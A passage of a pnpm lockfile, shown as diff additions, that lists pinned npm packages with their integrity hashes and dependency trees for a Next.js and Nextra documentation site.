1.2.0 + trim-lines: 3.0.1 + unist-util-generated: 2.0.1 + unist-util-position: 4.0.4 + unist-util-visit: 4.1.2 + dev: false + + /mdast-util-to-hast@13.1.0: + resolution: {integrity: sha512-/e2l/6+OdGp/FB+ctrJ9Avz71AN/GRH3oi/3KAx/kMnoUsD6q0woXlDT8lLEeViVKE7oZxE7RXzvO3T8kF2/sA==} + dependencies: + '@types/hast': 3.0.4 + '@types/mdast': 4.0.3 + '@ungap/structured-clone': 1.2.0 + devlop: 1.1.0 + micromark-util-sanitize-uri: 2.0.0 + trim-lines: 3.0.1 + unist-util-position: 5.0.0 + unist-util-visit: 5.0.0 + vfile: 6.0.1 + dev: false + + /mdast-util-to-markdown@1.5.0: + resolution: {integrity: sha512-bbv7TPv/WC49thZPg3jXuqzuvI45IL2EVAr/KxF0BSdHsU0ceFHOmwQn6evxAh1GaoK/6GQ1wp4R4oW2+LFL/A==} + dependencies: + '@types/mdast': 3.0.15 + '@types/unist': 2.0.10 + longest-streak: 3.1.0 + mdast-util-phrasing: 3.0.1 + mdast-util-to-string: 3.2.0 + micromark-util-decode-string: 1.1.0 + unist-util-visit: 4.1.2 + zwitch: 2.0.4 + dev: false + + /mdast-util-to-string@3.2.0: + resolution: {integrity: sha512-V4Zn/ncyN1QNSqSBxTrMOLpjr+IKdHl2v3KVLoWmDPscP4r9GcCi71gjgvUV1SFSKh92AjAG4peFuBl2/YgCJg==} + dependencies: + '@types/mdast': 3.0.15 + dev: false + + /mermaid@10.9.0: + resolution: {integrity: sha512-swZju0hFox/B/qoLKK0rOxxgh8Cf7rJSfAUc1u8fezVihYMvrJAS45GzAxTVf4Q+xn9uMgitBcmWk7nWGXOs/g==} + dependencies: + '@braintree/sanitize-url': 6.0.4 + '@types/d3-scale': 4.0.8 + '@types/d3-scale-chromatic': 3.0.3 + cytoscape: 3.28.1 + cytoscape-cose-bilkent: 4.1.0(cytoscape@3.28.1) + d3: 7.9.0 + d3-sankey: 0.12.3 + dagre-d3-es: 7.0.10 + dayjs: 1.11.10 + dompurify: 3.0.11 + elkjs: 0.9.2 + katex: 0.16.9 + khroma: 2.1.0 + lodash-es: 4.17.21 + mdast-util-from-markdown: 1.3.1 + non-layered-tidy-tree-layout: 2.0.2 + stylis: 4.3.1 + ts-dedent: 2.2.0 + uuid: 9.0.1 + web-worker: 1.3.0 + transitivePeerDependencies: + - supports-color + dev: false + + /micromark-core-commonmark@1.1.0: + resolution: {integrity: sha512-BgHO1aRbolh2hcrzL2d1La37V0Aoz73ymF8rAcKnohLy93titmv62E0gP8Hrx9PKcKrqCZ1BbLGbP3bEhoXYlw==} + dependencies: + decode-named-character-reference: 1.0.2 + micromark-factory-destination: 1.1.0 + micromark-factory-label: 1.1.0 + micromark-factory-space: 1.1.0 + micromark-factory-title: 1.1.0 + micromark-factory-whitespace: 1.1.0 + micromark-util-character: 1.2.0 + micromark-util-chunked: 1.1.0 + micromark-util-classify-character: 1.1.0 + micromark-util-html-tag-name: 1.2.0 + micromark-util-normalize-identifier: 1.1.0 + micromark-util-resolve-all: 1.1.0 + micromark-util-subtokenize: 1.1.0 + micromark-util-symbol: 1.1.0 + micromark-util-types: 1.1.0 + uvu: 0.5.6 + dev: false + + /micromark-extension-gfm-autolink-literal@1.0.5: + resolution: {integrity: sha512-z3wJSLrDf8kRDOh2qBtoTRD53vJ+CWIyo7uyZuxf/JAbNJjiHsOpG1y5wxk8drtv3ETAHutCu6N3thkOOgueWg==} + dependencies: + micromark-util-character: 1.2.0 + micromark-util-sanitize-uri: 1.2.0 + micromark-util-symbol: 1.1.0 + micromark-util-types: 1.1.0 + dev: false + + /micromark-extension-gfm-footnote@1.1.2: + resolution: {integrity: sha512-Yxn7z7SxgyGWRNa4wzf8AhYYWNrwl5q1Z8ii+CSTTIqVkmGZF1CElX2JI8g5yGoM3GAman9/PVCUFUSJ0kB/8Q==} + dependencies: + micromark-core-commonmark: 1.1.0 + micromark-factory-space: 1.1.0 + micromark-util-character: 1.2.0 + micromark-util-normalize-identifier: 1.1.0 + micromark-util-sanitize-uri: 1.2.0 + micromark-util-symbol: 1.1.0 + micromark-util-types: 1.1.0 + uvu: 0.5.6 + dev: false + + /micromark-extension-gfm-strikethrough@1.0.7: + resolution: {integrity: sha512-sX0FawVE1o3abGk3vRjOH50L5TTLr3b5XMqnP9YDRb34M0v5OoZhG+OHFz1OffZ9dlwgpTBKaT4XW/AsUVnSDw==} + dependencies: + micromark-util-chunked: 1.1.0 + micromark-util-classify-character: 1.1.0 + micromark-util-resolve-all: 1.1.0 + micromark-util-symbol: 1.1.0 + micromark-util-types: 1.1.0 + uvu: 0.5.6 + dev: false + + /micromark-extension-gfm-table@1.0.7: + resolution: {integrity: sha512-3ZORTHtcSnMQEKtAOsBQ9/oHp9096pI/UvdPtN7ehKvrmZZ2+bbWhi0ln+I9drmwXMt5boocn6OlwQzNXeVeqw==} + dependencies: + micromark-factory-space: 1.1.0 + micromark-util-character: 1.2.0 + micromark-util-symbol: 1.1.0 + micromark-util-types: 1.1.0 + uvu: 0.5.6 + dev: false + + /micromark-extension-gfm-tagfilter@1.0.2: + resolution: {integrity: sha512-5XWB9GbAUSHTn8VPU8/1DBXMuKYT5uOgEjJb8gN3mW0PNW5OPHpSdojoqf+iq1xo7vWzw/P8bAHY0n6ijpXF7g==} + dependencies: + micromark-util-types: 1.1.0 + dev: false + + /micromark-extension-gfm-task-list-item@1.0.5: + resolution: {integrity: sha512-RMFXl2uQ0pNQy6Lun2YBYT9g9INXtWJULgbt01D/x8/6yJ2qpKyzdZD3pi6UIkzF++Da49xAelVKUeUMqd5eIQ==} + dependencies: + micromark-factory-space: 1.1.0 + micromark-util-character: 1.2.0 + micromark-util-symbol: 1.1.0 + micromark-util-types: 1.1.0 + uvu: 0.5.6 + dev: false + + /micromark-extension-gfm@2.0.3: + resolution: {integrity: sha512-vb9OoHqrhCmbRidQv/2+Bc6pkP0FrtlhurxZofvOEy5o8RtuuvTq+RQ1Vw5ZDNrVraQZu3HixESqbG+0iKk/MQ==} + dependencies: + micromark-extension-gfm-autolink-literal: 1.0.5 + micromark-extension-gfm-footnote: 1.1.2 + micromark-extension-gfm-strikethrough: 1.0.7 + micromark-extension-gfm-table: 1.0.7 + micromark-extension-gfm-tagfilter: 1.0.2 + micromark-extension-gfm-task-list-item: 1.0.5 + micromark-util-combine-extensions: 1.1.0 + micromark-util-types: 1.1.0 + dev: false + + /micromark-extension-math@2.1.2: + resolution: {integrity: sha512-es0CcOV89VNS9wFmyn+wyFTKweXGW4CEvdaAca6SWRWPyYCbBisnjaHLjWO4Nszuiud84jCpkHsqAJoa768Pvg==} + dependencies: + '@types/katex': 0.16.7 + katex: 0.16.9 + micromark-factory-space: 1.1.0 + micromark-util-character: 1.2.0 + micromark-util-symbol: 1.1.0 + micromark-util-types: 1.1.0 + uvu: 0.5.6 + dev: false + + /micromark-extension-mdx-expression@1.0.8: + resolution: {integrity: sha512-zZpeQtc5wfWKdzDsHRBY003H2Smg+PUi2REhqgIhdzAa5xonhP03FcXxqFSerFiNUr5AWmHpaNPQTBVOS4lrXw==} + dependencies: + '@types/estree': 1.0.5 + micromark-factory-mdx-expression: 1.0.9 + micromark-factory-space: 1.1.0 + micromark-util-character: 1.2.0 + micromark-util-events-to-acorn: 1.2.3 + micromark-util-symbol: 1.1.0 + micromark-util-types: 1.1.0 + uvu: 0.5.6 + dev: false + + /micromark-extension-mdx-jsx@1.0.5: + resolution: {integrity: sha512-gPH+9ZdmDflbu19Xkb8+gheqEDqkSpdCEubQyxuz/Hn8DOXiXvrXeikOoBA71+e8Pfi0/UYmU3wW3H58kr7akA==} + dependencies: + '@types/acorn': 4.0.6 + '@types/estree': 1.0.5 + estree-util-is-identifier-name: 2.1.0 + micromark-factory-mdx-expression: 1.0.9 + micromark-factory-space: 1.1.0 + micromark-util-character: 1.2.0 + micromark-util-symbol: 1.1.0 + micromark-util-types: 1.1.0 + uvu: 0.5.6 + vfile-message: 3.1.4 + dev: false + + /micromark-extension-mdx-md@1.0.1: + resolution: {integrity: sha512-7MSuj2S7xjOQXAjjkbjBsHkMtb+mDGVW6uI2dBL9snOBCbZmoNgDAeZ0nSn9j3T42UE/g2xVNMn18PJxZvkBEA==} + dependencies: + micromark-util-types: 1.1.0 + dev: false + + /micromark-extension-mdxjs-esm@1.0.5: + resolution: {integrity: sha512-xNRBw4aoURcyz/S69B19WnZAkWJMxHMT5hE36GtDAyhoyn/8TuAeqjFJQlwk+MKQsUD7b3l7kFX+vlfVWgcX1w==} + dependencies: + '@types/estree': 1.0.5 + micromark-core-commonmark: 1.1.0 + micromark-util-character: 1.2.0 + micromark-util-events-to-acorn: 1.2.3 + micromark-util-symbol: 1.1.0 + micromark-util-types: 1.1.0 + unist-util-position-from-estree: 1.1.2 + uvu: 0.5.6 + vfile-message: 3.1.4 + dev: false + + /micromark-extension-mdxjs@1.0.1: + resolution: {integrity: sha512-7YA7hF6i5eKOfFUzZ+0z6avRG52GpWR8DL+kN47y3f2KhxbBZMhmxe7auOeaTBrW2DenbbZTf1ea9tA2hDpC2Q==} + dependencies: + acorn: 8.11.3 + acorn-jsx: 5.3.2(acorn@8.11.3) + micromark-extension-mdx-expression: 1.0.8 + micromark-extension-mdx-jsx: 1.0.5 + micromark-extension-mdx-md: 1.0.1 + micromark-extension-mdxjs-esm: 1.0.5 + micromark-util-combine-extensions: 1.1.0 + micromark-util-types: 1.1.0 + dev: false + + /micromark-factory-destination@1.1.0: + resolution: {integrity: sha512-XaNDROBgx9SgSChd69pjiGKbV+nfHGDPVYFs5dOoDd7ZnMAE+Cuu91BCpsY8RT2NP9vo/B8pds2VQNCLiu0zhg==} + dependencies: + micromark-util-character: 1.2.0 + micromark-util-symbol: 1.1.0 + micromark-util-types: 1.1.0 + dev: false + + /micromark-factory-label@1.1.0: + resolution: {integrity: sha512-OLtyez4vZo/1NjxGhcpDSbHQ+m0IIGnT8BoPamh+7jVlzLJBH98zzuCoUeMxvM6WsNeh8wx8cKvqLiPHEACn0w==} + dependencies: + micromark-util-character: 1.2.0 + micromark-util-symbol: 1.1.0 + micromark-util-types: 1.1.0 + uvu: 0.5.6 + dev: false + + /micromark-factory-mdx-expression@1.0.9: + resolution: {integrity: sha512-jGIWzSmNfdnkJq05c7b0+Wv0Kfz3NJ3N4cBjnbO4zjXIlxJr+f8lk+5ZmwFvqdAbUy2q6B5rCY//g0QAAaXDWA==} + dependencies: + '@types/estree': 1.0.5 + micromark-util-character: 1.2.0 + micromark-util-events-to-acorn: 1.2.3 + micromark-util-symbol: 1.1.0 + micromark-util-types: 1.1.0 + unist-util-position-from-estree: 1.1.2 + uvu: 0.5.6 + vfile-message: 3.1.4 + dev: false + + /micromark-factory-space@1.1.0: + resolution: {integrity: sha512-cRzEj7c0OL4Mw2v6nwzttyOZe8XY/Z8G0rzmWQZTBi/jjwyw/U4uqKtUORXQrR5bAZZnbTI/feRV/R7hc4jQYQ==} + dependencies: + micromark-util-character: 1.2.0 + micromark-util-types: 1.1.0 + dev: false + + /micromark-factory-title@1.1.0: + resolution: {integrity: sha512-J7n9R3vMmgjDOCY8NPw55jiyaQnH5kBdV2/UXCtZIpnHH3P6nHUKaH7XXEYuWwx/xUJcawa8plLBEjMPU24HzQ==} + dependencies: + micromark-factory-space: 1.1.0 + micromark-util-character: 1.2.0 + micromark-util-symbol: 1.1.0 + micromark-util-types: 1.1.0 + dev: false + + /micromark-factory-whitespace@1.1.0: + resolution: {integrity: sha512-v2WlmiymVSp5oMg+1Q0N1Lxmt6pMhIHD457whWM7/GUlEks1hI9xj5w3zbc4uuMKXGisksZk8DzP2UyGbGqNsQ==} + dependencies: + micromark-factory-space: 1.1.0 + micromark-util-character: 1.2.0 + micromark-util-symbol: 1.1.0 + micromark-util-types: 1.1.0 + dev: false + + /micromark-util-character@1.2.0: + resolution: {integrity: sha512-lXraTwcX3yH/vMDaFWCQJP1uIszLVebzUa3ZHdrgxr7KEU/9mL4mVgCpGbyhvNLNlauROiNUq7WN5u7ndbY6xg==} + dependencies: + micromark-util-symbol: 1.1.0 + micromark-util-types: 1.1.0 + dev: false + + /micromark-util-character@2.1.0: + resolution: {integrity: sha512-KvOVV+X1yLBfs9dCBSopq/+G1PcgT3lAK07mC4BzXi5E7ahzMAF8oIupDDJ6mievI6F+lAATkbQQlQixJfT3aQ==} + dependencies: + micromark-util-symbol: 2.0.0 + micromark-util-types: 2.0.0 + dev: false + + /micromark-util-chunked@1.1.0: + resolution: {integrity: sha512-Ye01HXpkZPNcV6FiyoW2fGZDUw4Yc7vT0E9Sad83+bEDiCJ1uXu0S3mr8WLpsz3HaG3x2q0HM6CTuPdcZcluFQ==} + dependencies: + micromark-util-symbol: 1.1.0 + dev: false + + /micromark-util-classify-character@1.1.0: + resolution: {integrity: sha512-SL0wLxtKSnklKSUplok1WQFoGhUdWYKggKUiqhX+Swala+BtptGCu5iPRc+xvzJ4PXE/hwM3FNXsfEVgoZsWbw==} + dependencies: + micromark-util-character: 1.2.0 + micromark-util-symbol: 1.1.0 + micromark-util-types: 1.1.0 + dev: false + + /micromark-util-combine-extensions@1.1.0: + resolution: {integrity: sha512-Q20sp4mfNf9yEqDL50WwuWZHUrCO4fEyeDCnMGmG5Pr0Cz15Uo7KBs6jq+dq0EgX4DPwwrh9m0X+zPV1ypFvUA==} + dependencies: + micromark-util-chunked: 1.1.0 + micromark-util-types: 1.1.0 + dev: false + + /micromark-util-decode-numeric-character-reference@1.1.0: + resolution: {integrity: sha512-m9V0ExGv0jB1OT21mrWcuf4QhP46pH1KkfWy9ZEezqHKAxkj4mPCy3nIH1rkbdMlChLHX531eOrymlwyZIf2iw==} + dependencies: + micromark-util-symbol: 1.1.0 + dev: false + + /micromark-util-decode-string@1.1.0: + resolution: {integrity: sha512-YphLGCK8gM1tG1bd54azwyrQRjCFcmgj2S2GoJDNnh4vYtnL38JS8M4gpxzOPNyHdNEpheyWXCTnnTDY3N+NVQ==} + dependencies: + decode-named-character-reference: 1.0.2 + micromark-util-character: 1.2.0 + micromark-util-decode-numeric-character-reference: 1.1.0 + micromark-util-symbol: 1.1.0 + dev: false + + /micromark-util-encode@1.1.0: + resolution: {integrity: sha512-EuEzTWSTAj9PA5GOAs992GzNh2dGQO52UvAbtSOMvXTxv3Criqb6IOzJUBCmEqrrXSblJIJBbFFv6zPxpreiJw==} + dev: false + + /micromark-util-encode@2.0.0: + resolution: {integrity: sha512-pS+ROfCXAGLWCOc8egcBvT0kf27GoWMqtdarNfDcjb6YLuV5cM3ioG45Ys2qOVqeqSbjaKg72vU+Wby3eddPsA==} + dev: false + + /micromark-util-events-to-acorn@1.2.3: + resolution: {integrity: sha512-ij4X7Wuc4fED6UoLWkmo0xJQhsktfNh1J0m8g4PbIMPlx+ek/4YdW5mvbye8z/aZvAPUoxgXHrwVlXAPKMRp1w==} + dependencies: + '@types/acorn': 4.0.6 + '@types/estree': 1.0.5 + '@types/unist': 2.0.10 + estree-util-visit: 1.2.1 + micromark-util-symbol: 1.1.0 + micromark-util-types: 1.1.0 + uvu: 0.5.6 + vfile-message: 3.1.4 + dev: false + + /micromark-util-html-tag-name@1.2.0: + resolution: {integrity: sha512-VTQzcuQgFUD7yYztuQFKXT49KghjtETQ+Wv/zUjGSGBioZnkA4P1XXZPT1FHeJA6RwRXSF47yvJ1tsJdoxwO+Q==} + dev: false + + /micromark-util-normalize-identifier@1.1.0: + resolution: {integrity: sha512-N+w5vhqrBihhjdpM8+5Xsxy71QWqGn7HYNUvch71iV2PM7+E3uWGox1Qp90loa1ephtCxG2ftRV/Conitc6P2Q==} + dependencies: + micromark-util-symbol: 1.1.0 + dev: false + + /micromark-util-resolve-all@1.1.0: + resolution: {integrity: sha512-b/G6BTMSg+bX+xVCshPTPyAu2tmA0E4X98NSR7eIbeC6ycCqCeE7wjfDIgzEbkzdEVJXRtOG4FbEm/uGbCRouA==} + dependencies: + micromark-util-types: 1.1.0 + dev: false + + /micromark-util-sanitize-uri@1.2.0: + resolution: {integrity: sha512-QO4GXv0XZfWey4pYFndLUKEAktKkG5kZTdUNaTAkzbuJxn2tNBOr+QtxR2XpWaMhbImT2dPzyLrPXLlPhph34A==} + dependencies: + micromark-util-character: 1.2.0 + micromark-util-encode: 1.1.0 + micromark-util-symbol: 1.1.0 + dev: false + + /micromark-util-sanitize-uri@2.0.0: + resolution: {integrity: sha512-WhYv5UEcZrbAtlsnPuChHUAsu/iBPOVaEVsntLBIdpibO0ddy8OzavZz3iL2xVvBZOpolujSliP65Kq0/7KIYw==} + dependencies: + micromark-util-character: 2.1.0 + micromark-util-encode: 2.0.0 + micromark-util-symbol: 2.0.0 + dev: false + + /micromark-util-subtokenize@1.1.0: + resolution: {integrity: sha512-kUQHyzRoxvZO2PuLzMt2P/dwVsTiivCK8icYTeR+3WgbuPqfHgPPy7nFKbeqRivBvn/3N3GBiNC+JRTMSxEC7A==} + dependencies: + micromark-util-chunked: 1.1.0 + micromark-util-symbol: 1.1.0 + micromark-util-types: 1.1.0 + uvu: 0.5.6 + dev: false + + /micromark-util-symbol@1.1.0: + resolution: {integrity: sha512-uEjpEYY6KMs1g7QfJ2eX1SQEV+ZT4rUD3UcF6l57acZvLNK7PBZL+ty82Z1qhK1/yXIY4bdx04FKMgR0g4IAag==} + dev: false + + /micromark-util-symbol@2.0.0: + resolution: {integrity: sha512-8JZt9ElZ5kyTnO94muPxIGS8oyElRJaiJO8EzV6ZSyGQ1Is8xwl4Q45qU5UOg+bGH4AikWziz0iN4sFLWs8PGw==} + dev: false + + /micromark-util-types@1.1.0: + resolution: {integrity: sha512-ukRBgie8TIAcacscVHSiddHjO4k/q3pnedmzMQ4iwDcK0FtFCohKOlFbaOL/mPgfnPsL3C1ZyxJa4sbWrBl3jg==} + dev: false + + /micromark-util-types@2.0.0: + resolution: {integrity: sha512-oNh6S2WMHWRZrmutsRmDDfkzKtxF+bc2VxLC9dvtrDIRFln627VsFP6fLMgTryGDljgLPjkrzQSDcPrjPyDJ5w==} + dev: false + + /micromark@3.2.0: + resolution: {integrity: sha512-uD66tJj54JLYq0De10AhWycZWGQNUvDI55xPgk2sQM5kn1JYlhbCMTtEeT27+vAhW2FBQxLlOmS3pmA7/2z4aA==} + dependencies: + '@types/debug': 4.1.12 + debug: 4.3.4 + decode-named-character-reference: 1.0.2 + micromark-core-commonmark: 1.1.0 + micromark-factory-space: 1.1.0 + micromark-util-character: 1.2.0 + micromark-util-chunked: 1.1.0 + micromark-util-combine-extensions: 1.1.0 + micromark-util-decode-numeric-character-reference: 1.1.0 + micromark-util-encode: 1.1.0 + micromark-util-normalize-identifier: 1.1.0 + micromark-util-resolve-all: 1.1.0 + micromark-util-sanitize-uri: 1.2.0 + micromark-util-subtokenize: 1.1.0 + micromark-util-symbol: 1.1.0 + micromark-util-types: 1.1.0 + uvu: 0.5.6 + transitivePeerDependencies: + - supports-color + dev: false + + /mri@1.2.0: + resolution: {integrity: sha512-tzzskb3bG8LvYGFF/mDTpq3jpI6Q9wc3LEmBaghu+DdCssd1FakN7Bc0hVNmEyGq1bq3RgfkCb3cmQLpNPOroA==} + engines: {node: '>=4'} + dev: false + + /ms@2.1.2: + resolution: {integrity: sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==} + dev: false + + /nanoid@3.3.7: + resolution: {integrity: sha512-eSRppjcPIatRIMC1U6UngP8XFcz8MQWGQdt1MTBQ7NaAmvXDfvNxbvWV3x2y6CdEUciCSsDHDQZbhYaB8QEo2g==} + engines: {node: ^10 || ^12 || ^13.7 || ^14 || >=15.0.1} + hasBin: true + dev: false + + /next-mdx-remote@4.4.1(react-dom@18.2.0)(react@18.2.0): + resolution: {integrity: sha512-1BvyXaIou6xy3XoNF4yaMZUCb6vD2GTAa5ciOa6WoO+gAUTYsb1K4rI/HSC2ogAWLrb/7VSV52skz07vOzmqIQ==} + engines: {node: '>=14', npm: '>=7'} + peerDependencies: + react: '>=16.x <=18.x' + react-dom: '>=16.x <=18.x' + dependencies: + '@mdx-js/mdx': 2.3.0 + '@mdx-js/react': 2.3.0(react@18.2.0) + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + vfile: 5.3.7 + vfile-matter: 3.0.1 + transitivePeerDependencies: + - supports-color + dev: false + + /next-seo@6.5.0(next@13.5.6)(react-dom@18.2.0)(react@18.2.0): + resolution: {integrity: sha512-MfzUeWTN/x/rsKp/1n0213eojO97lIl0unxqbeCY+6pAucViHDA8GSLRRcXpgjsSmBxfCFdfpu7LXbt4ANQoNQ==} + peerDependencies: + next: ^8.1.1-canary.54 || >=9.0.0 + react: '>=16.0.0' + react-dom: '>=16.0.0' + dependencies: + next: 13.5.6(react-dom@18.2.0)(react@18.2.0) + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + dev: false + + /next-themes@0.2.1(next@13.5.6)(react-dom@18.2.0)(react@18.2.0): + resolution: {integrity: sha512-B+AKNfYNIzh0vqQQKqQItTS8evEouKD7H5Hj3kmuPERwddR2TxvDSFZuTj6T7Jfn1oyeUyJMydPl1Bkxkh0W7A==} + peerDependencies: + next: '*' + react: '*' + react-dom: '*' + dependencies: + next: 13.5.6(react-dom@18.2.0)(react@18.2.0) + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + dev: false + + /next@13.5.6(react-dom@18.2.0)(react@18.2.0): + resolution: {integrity: sha512-Y2wTcTbO4WwEsVb4A8VSnOsG1I9ok+h74q0ZdxkwM3EODqrs4pasq7O0iUxbcS9VtWMicG7f3+HAj0r1+NtKSw==} + engines: {node: '>=16.14.0'} + hasBin: true + peerDependencies: + '@opentelemetry/api': ^1.1.0 + react: ^18.2.0 + react-dom: ^18.2.0 + sass: ^1.3.0 + peerDependenciesMeta: + '@opentelemetry/api': + optional: true + sass: + optional: true + dependencies: + '@next/env': 13.5.6 + '@swc/helpers': 0.5.2 + busboy: 1.6.0 + caniuse-lite: 1.0.30001600 + postcss: 8.4.31 + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + styled-jsx: 5.1.1(react@18.2.0) + watchpack: 2.4.0 + optionalDependencies: + '@next/swc-darwin-arm64': 13.5.6 + '@next/swc-darwin-x64': 13.5.6 + '@next/swc-linux-arm64-gnu': 13.5.6 + '@next/swc-linux-arm64-musl': 13.5.6 + '@next/swc-linux-x64-gnu': 13.5.6 + '@next/swc-linux-x64-musl': 13.5.6 + '@next/swc-win32-arm64-msvc': 13.5.6 + '@next/swc-win32-ia32-msvc': 13.5.6 + '@next/swc-win32-x64-msvc': 13.5.6 + transitivePeerDependencies: + - '@babel/core' + - babel-plugin-macros + dev: false + + /nextra-theme-docs@2.13.4(next@13.5.6)(nextra@2.13.4)(react-dom@18.2.0)(react@18.2.0): + resolution: {integrity: sha512-2XOoMfwBCTYBt8ds4ZHftt9Wyf2XsykiNo02eir/XEYB+sGeUoE77kzqfidjEOKCSzOHYbK9BDMcg2+B/2vYRw==} + peerDependencies: + next: '>=9.5.3' + nextra: 2.13.4 + react: '>=16.13.1' + react-dom: '>=16.13.1' + dependencies: + '@headlessui/react': 1.7.18(react-dom@18.2.0)(react@18.2.0) + '@popperjs/core': 2.11.8 + clsx: 2.1.0 + escape-string-regexp: 5.0.0 + flexsearch: 0.7.43 + focus-visible: 5.2.0 + git-url-parse: 13.1.1 + intersection-observer: 0.12.2 + match-sorter: 6.3.4 + next: 13.5.6(react-dom@18.2.0)(react@18.2.0) + next-seo: 6.5.0(next@13.5.6)(react-dom@18.2.0)(react@18.2.0) + next-themes: 0.2.1(next@13.5.6)(react-dom@18.2.0)(react@18.2.0) + nextra: 2.13.4(next@13.5.6)(react-dom@18.2.0)(react@18.2.0) + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + scroll-into-view-if-needed: 3.1.0 + zod: 3.22.4 + dev: false + + /nextra@2.13.4(next@13.5.6)(react-dom@18.2.0)(react@18.2.0): + resolution: {integrity: sha512-7of2rSBxuUa3+lbMmZwG9cqgftcoNOVQLTT6Rxf3EhBR9t1EI7b43dted8YoqSNaigdE3j1CoyNkX8N/ZzlEpw==} + engines: {node: '>=16'} + peerDependencies: + next: '>=9.5.3' + react: '>=16.13.1' + react-dom: '>=16.13.1' + dependencies: + '@headlessui/react': 1.7.18(react-dom@18.2.0)(react@18.2.0) + '@mdx-js/mdx': 2.3.0 + '@mdx-js/react': 2.3.0(react@18.2.0) + '@napi-rs/simple-git': 0.1.16 + '@theguild/remark-mermaid': 0.0.5(react@18.2.0) + '@theguild/remark-npm2yarn': 0.2.1 + clsx: 2.1.0 + github-slugger: 2.0.0 + graceful-fs: 4.2.11 + gray-matter: 4.0.3 + katex: 0.16.9 + lodash.get: 4.4.2 + next: 13.5.6(react-dom@18.2.0)(react@18.2.0) + next-mdx-remote: 4.4.1(react-dom@18.2.0)(react@18.2.0) + p-limit: 3.1.0 + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + rehype-katex: 7.0.0 + rehype-pretty-code: 0.9.11(shiki@0.14.7) + rehype-raw: 7.0.0 + remark-gfm: 3.0.1 + remark-math: 5.1.1 + remark-reading-time: 2.0.1 + shiki: 0.14.7 + slash: 3.0.0 + title: 3.5.3 + unist-util-remove: 4.0.0 + unist-util-visit: 5.0.0 + zod: 3.22.4 + transitivePeerDependencies: + - supports-color + dev: false + + /non-layered-tidy-tree-layout@2.0.2: + resolution: {integrity: sha512-gkXMxRzUH+PB0ax9dUN0yYF0S25BqeAYqhgMaLUFmpXLEk7Fcu8f4emJuOAY0V8kjDICxROIKsTAKsV/v355xw==} + dev: false + + /npm-run-path@2.0.2: + resolution: {integrity: sha512-lJxZYlT4DW/bRUtFh1MQIWqmLwQfAxnqWG4HhEdjMlkrJYnJn0Jrr2u3mgxqaWsdiBc76TYkTG/mhrnYTuzfHw==} + engines: {node: '>=4'} + dependencies: + path-key: 2.0.1 + dev: false + + /npm-to-yarn@2.2.1: + resolution: {integrity: sha512-O/j/ROyX0KGLG7O6Ieut/seQ0oiTpHF2tXAcFbpdTLQFiaNtkyTXXocM1fwpaa60dg1qpWj0nHlbNhx6qwuENQ==} + engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} + dev: false + + /p-finally@1.0.0: + resolution: {integrity: sha512-LICb2p9CB7FS+0eR1oqWnHhp0FljGLZCWBE9aix0Uye9W8LTQPwMTYVGWQWIw9RdQiDg4+epXQODwIYJtSJaow==} + engines: {node: '>=4'} + dev: false + + /p-limit@3.1.0: + resolution: {integrity: sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==} + engines: {node: '>=10'} + dependencies: + yocto-queue: 0.1.0 + dev: false + + /parse-entities@4.0.1: + resolution: {integrity: sha512-SWzvYcSJh4d/SGLIOQfZ/CoNv6BTlI6YEQ7Nj82oDVnRpwe/Z/F1EMx42x3JAOwGBlCjeCH0BRJQbQ/opHL17w==} + dependencies: + '@types/unist': 2.0.10 + character-entities: 2.0.2 + character-entities-legacy: 3.0.0 + character-reference-invalid: 2.0.1 + decode-named-character-reference: 1.0.2 + is-alphanumerical: 2.0.1 + is-decimal: 2.0.1 + is-hexadecimal: 2.0.1 + dev: false + + /parse-numeric-range@1.3.0: + resolution: {integrity: sha512-twN+njEipszzlMJd4ONUYgSfZPDxgHhT9Ahed5uTigpQn90FggW4SA/AIPq/6a149fTbE9qBEcSwE3FAEp6wQQ==} + dev: false + + /parse-path@7.0.0: + resolution: {integrity: sha512-Euf9GG8WT9CdqwuWJGdf3RkUcTBArppHABkO7Lm8IzRQp0e2r/kkFnmhu4TSK30Wcu5rVAZLmfPKSBBi9tWFog==} + dependencies: + protocols: 2.0.1 + dev: false + + /parse-url@8.1.0: + resolution: {integrity: sha512-xDvOoLU5XRrcOZvnI6b8zA6n9O9ejNk/GExuz1yBuWUGn9KA97GI6HTs6u02wKara1CeVmZhH+0TZFdWScR89w==} + dependencies: + parse-path: 7.0.0 + dev: false + + /parse5@7.1.2: + resolution: {integrity: sha512-Czj1WaSVpaoj0wbhMzLmWD69anp2WH7FXMB9n1Sy8/ZFF9jolSQVMu1Ij5WIyGmcBmhk7EOndpO4mIpihVqAXw==} + dependencies: + entities: 4.5.0 + dev: false + + /path-key@2.0.1: + resolution: {integrity: sha512-fEHGKCSmUSDPv4uoj8AlD+joPlq3peND+HRYyxFz4KPw4z926S/b8rIuFs2FYJg3BwsxJf6A9/3eIdLaYC+9Dw==} + engines: {node: '>=4'} + dev: false + + /periscopic@3.1.0: + resolution: {integrity: sha512-vKiQ8RRtkl9P+r/+oefh25C3fhybptkHKCZSPlcXiJux2tJF55GnEj3BVn4A5gKfq9NWWXXrxkHBwVPUfH0opw==} + dependencies: + '@types/estree': 1.0.5 + estree-walker: 3.0.3 + is-reference: 3.0.2 + dev: false + + /picocolors@1.0.0: + resolution: {integrity: sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ==} + dev: false + + /postcss@8.4.31: + resolution: {integrity: sha512-PS08Iboia9mts/2ygV3eLpY5ghnUcfLV/EXTOW1E2qYxJKGGBUtNjN76FYHnMs36RmARn41bC0AZmn+rR0OVpQ==} + engines: {node: ^10 || ^12 || >=14} + dependencies: + nanoid: 3.3.7 + picocolors: 1.0.0 + source-map-js: 1.2.0 + dev: false + + /property-information@6.4.1: + resolution: {integrity: 